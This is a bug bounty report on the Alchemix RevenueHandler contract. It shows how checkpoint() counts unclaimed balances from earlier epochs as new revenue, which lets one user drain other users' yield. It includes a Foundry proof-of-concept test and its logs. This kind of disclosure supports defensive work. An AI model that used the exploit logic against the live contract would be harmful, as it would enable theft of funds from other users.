31077 - [SC - Critical] RevenueHandler counts unclaimed tokens as new r...
Submitted on May 12th 2024 at 11:02:22 UTC by @Holterhus for Boost | Alchemix
Report ID: #31077
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
The RevenueHandler
contract has a checkpoint()
function that records revenue amounts for each token in each epoch. There is a mistake in the logic of non-alchemic tokens, because it assumes the entire token balance is new revenue for the epoch. This is wrong because the token balance includes pending revenue from previous epochs that have not yet been claimed. This allows users to claim more tokens than they should, which steals tokens from other users who try to claim later.
Vulnerability Details
The checkpoint()
function in RevenueHandler
contains the following code snippet:
uint256 thisBalance = IERC20(token).balanceOf(address(this));
// If poolAdapter is set, the revenue token is an alchemic-token
if (tokenConfig.poolAdapter != address(0)) {
// Treasury only receives revenue if the token is an alchemic-token
treasuryAmt = (thisBalance * treasuryPct) / BPS;
IERC20(token).safeTransfer(treasury, treasuryAmt);
// Only melt if there is an alchemic-token to melt to
amountReceived = _melt(token);
// Update amount of alchemic-token revenue received for this epoch
epochRevenues[currentEpoch][tokenConfig.debtToken] += amountReceived;
} else {
// If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
amountReceived = thisBalance;
// Update amount of non-alchemic-token revenue received for this epoch
epochRevenues[currentEpoch][token] += amountReceived;
}
Notice that in the else
case, the epochRevenues[currentEpoch][token]
amount is incremented by the current token balance. As mentioned above, this is incorrect because the token balance also contains unclaimed revenue from previous epochs. Due to this mistake, the revenues past the first epoch will be inflated, which leads to an inflated totalClaimable
value in the _claimable()
function:
uint256 epochTotalVeSupply = IVotingEscrow(veALCX).totalSupplyAtT(epochTimestamp);
if (epochTotalVeSupply == 0) continue;
uint256 epochRevenue = epochRevenues[epochTimestamp][token];
uint256 epochUserVeBalance = IVotingEscrow(veALCX).balanceOfTokenAt(tokenId, epochTimestamp);
totalClaimable += (epochRevenue * epochUserVeBalance) / epochTotalVeSupply;
Impact Details
Once an epoch has an inflated revenue, a malicious user can call claim()
to take a large amount of tokens they do not deserve. This is a theft of other users' unclaimed yield. Since the malicious user would receive the tokens, no tokens would be left in the RevenueHandler
for the other users to claim. See the PoC for an example.
References
See the PoC below.
Proof of Concept
I have created the following test case that can be added to RevenueHandler.t.sol
:
function testNonAlchemicRevenueAccountingBug() external {
uint256 revAmt = 1000e18;
uint256 tokenId1 = _initializeVeALCXPosition(10e18);
uint256 tokenId2 = _setupClaimableNonAlchemicRevenue(revAmt, bal);
_jumpOneEpoch();
revenueHandler.checkpoint();
console.log("claimable 1 before:", revenueHandler.claimable(tokenId1, bal));
console.log("claimable 2 before:", revenueHandler.claimable(tokenId2, bal));
console.log("revenueBalance before:", IERC20(bal).balanceOf(address(revenueHandler)));
revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), address(this));
console.log("claimable 1 after:", revenueHandler.claimable(tokenId1, bal));
console.log("claimable 2 after:", revenueHandler.claimable(tokenId2, bal));
console.log("revenueBalance after:", IERC20(bal).balanceOf(address(revenueHandler)));
uint256 claimable2 = revenueHandler.claimable(tokenId2, bal);
vm.expectRevert("Not enough revenue to claim");
revenueHandler.claim(tokenId2, bal, address(0),claimable2, address(this));
}
Running the command forge test -vvv --match-test testNonAlchemicRevenueAccountingBug --rpc-url $ETH_RPC_URL
gives the following result:
[PASS] testNonAlchemicRevenueAccountingBug() (gas: 2569923)
Logs:
claimable 1 before: 1000000000000000000000
claimable 2 before: 1000000000000000000000
revenueBalance before: 1000000000000000000000
claimable 1 after: 0
claimable 2 after: 1000000000000000000000
revenueBalance after: 0
This shows that the first user can claim 100% of the tokens, preventing the second user from claiming anything.
Last updated
Was this helpful?